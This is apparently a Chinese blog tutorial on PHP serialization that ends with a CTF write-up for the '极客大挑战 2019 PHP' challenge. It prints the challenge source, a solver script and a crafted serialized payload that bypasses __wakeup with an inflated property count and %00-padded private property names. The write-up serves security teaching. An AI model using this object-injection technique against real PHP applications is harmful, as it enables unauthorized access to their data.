WEB安全-CTF中的PHP反序列化漏洞

什么是序列化?

简单来说序列化是将数组或对象转换成字符串的过程,这样的好处是利于对象存储与传输,在PHP中,序列化函数是serialize(),反序列化是unserialize()

无类序列化

无类序列化顾名思义就是不包含class的序列化,什么意思呢?来看一个php例子

php 复制代码
<?php  
    $test = 'hello world';
    echo serialize($test);
?>

以上代码输出为:

php 复制代码
s:11:"hello world";

在这个例子中不包含class,变量test是一个字符串,其中serialize函数对这个字符串进行序列化,结果是:s:11:"hello world";

其中s表示这个是一个字符串类型,11表示字符串的长度

有类序列化

有类序列化顾名思义是php代码中包含class的对象进行序列化,那么什么是类?

类是一种数据结构,用来描述数据以及数据上的操作,什么意思?

比如我要存储我的年龄只需要在php中给定一个变量然后赋予这个变量值,那么我就实现了存储我的年龄,那么如果我要存储一个学生,那我应该用什么类型呢?int整型?string字符串?也不对,所以,这个时候php语言提供了一种自定义的数据类型可以存储多个基本数据类型,这个自定义的数据类型就叫做类。

那么这个学生可以吃、喝、学习等人类的行为,在php语言中,可以给这个类赋予这些行为,那么这个行为就叫做方法。

php学生类的实现代码:

php 复制代码
<?php  
    class student {
        public $name = "张三";  //姓名
        public $age = 18;   //年龄
        public $grade = 90; //成绩

        //学生的吃行为方法
        public function eat() {
            echo "student eat";
        }

        //学生的喝行为方法
        public function drink() {
            echo "student drink";
        }

        //学生的学习行为方法
        public function study() {
            echo "student study";
        }
    }
    //创建一个学生对象
    $student1 = new student();
    //序列化对象
    echo serialize($student1);

?>

如何创建出一个学生呢?只需要在php中new一个对象即可

php 复制代码
//创建一个学生对象
new student();

那么我们使用一个变量来存储这个对象,然后对它进行序列化看下结果

php 复制代码
//创建一个学生对象
$student1 = new student();
//序列化对象
echo serialize($student1);

以下是运行结果:

php 复制代码
O:7:"student":3:{s:4:"name";s:6:"张三";s:3:"age";i:18;s:5:"grade";i:90;}

O 表示这是一个对象

7 表示这个对象的类名长度

student 表示类名

3 表示这个对象有三个属性

{} 内容就是这三个属性的具体描述

s是字符串、4是第一个属性的名称长度,name是属性名,多个属性用;隔开以此类推

i 表示是int整型

什么是反序列化?

顾名思义,反序列化就是序列化的相反操作,将字符串还原成对象,在php中使用unserialize函数

php 复制代码
<?php  
    class student {
        public $name = "张三";  //姓名
        public $age = 18;   //年龄
        public $grade = 90; //成绩

        //学生的吃行为方法
        public function eat() {
            echo "student eat";
        }

        //学生的喝行为方法
        public function drink() {
            echo "student drink";
        }

        //学生的学习行为方法
        public function study() {
            echo "student study";
        }
    }
    //创建一个学生对象
    $student1 = new student();
    //序列化对象
    $result = serialize($student1);
    //反序列化对象
    $student2 = unserialize($result);
    //输出这个对象的name属性的值
    echo $student2->name;
?>

运行结果:

php 复制代码
张三

CTF实战

题目:[极客大挑战 2019]PHP 1

开启环境,打开页面

打开页面根据提示,网站存在源码备份文件,尝试几个文件名进行访问,发现www.zip文件可以访问,访问下载得到这些文件:

第一眼打开flag.php文件发现不是真实的flag,当然也不可能这么简单

这时候打开index.php文件查看,在37-40行才是重点

include函数包含了flag.php文件,猜测真实的flag存在flag.php文件中

select变量是同个get方法传入select的值获得,然后将我们传入的值进行反序列化

我们再打开class.php文件查看

这里也incule包含了flag.php,然后这里有一个Name的类,有两个私有属性分别是username和password

然后在__wakeup的苏醒函数发现将username的属性值设置为guest,wakeup是一个苏醒函数,就是在反序列化时会自动触发的方法

然后在__destruct的析构函数中,如果password的值不等于100就会退出程序,username的值为admin就会输出flag

php 复制代码
<?php
include 'flag.php';
error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

那么我们的解题思路就是构造一个序列化字符串,然后让username的值为admin并且password的值为100就可以得到flag

根据解题思路写出解题代码:

php 复制代码
<?php

class Name{
    private $username;
    private $password;

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}

$answer = new Name("admin",100);
echo serialize($answer);
?>

然后运行代码得到反序列化字符串:

php 复制代码
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但是这里存在一个问题,那就是有__wakeup的苏醒函数存在,我们进行反序列化时他强制将username的值设置为guest,那么我们得绕过这个函数,这里引申出一个绕过方法:

当传入的反序列化字符串中的属性个数>实际属性个数时就不会触发这个方法,因此将上述反序列化字符串的属性数量修改为>2即可:

php 复制代码
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

还有一个问题,因为这里Name类的属性都是私有属性,在序列化时会将属性名的前面添加类名,从而使得username的属性名变为Nameusername,其中Name类名的前后均存在\0的不可见字符用于区分类名和属性名,但是我们在浏览器传入的时候这个不可见字符会变为不存在,因此需要在Name前后都添加一个%00,得到:

php 复制代码
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

然后通过get传入select参数就行:

相关推荐
IT信息技术学习圈11 小时前
网络安全1
安全·web安全
世界尽头与你17 小时前
MacOS红队常用攻击命令
安全·macos·网络安全
游戏开发爱好者81 天前
使用克魔助手查看iOS 应用程序使用历史记录和耗能历史记录
websocket·网络协议·tcp/ip·http·网络安全·https·udp
that's boy1 天前
Google 发布 Sec-Gemini v1:用 AI 重塑网络安全防御格局?
人工智能·安全·web安全·chatgpt·midjourney·ai编程·ai写作
virelin_Y.lin1 天前
系统与网络安全------网络通信原理(6)
安全·web安全·应用层·ftp·dns·telnet
zl0_00_01 天前
文件上传漏洞
网络·安全·web安全
jingshaoyou1 天前
【11】Strongswan processor 详解1
网络·网络安全
白猫a٩2 天前
记一次某网络安全比赛三阶段webserver应急响应解题过程
安全·web安全·网络安全
计算机鬼才~2 天前
网络安全·第二天·ARP协议安全分析
网络·安全·web安全·arp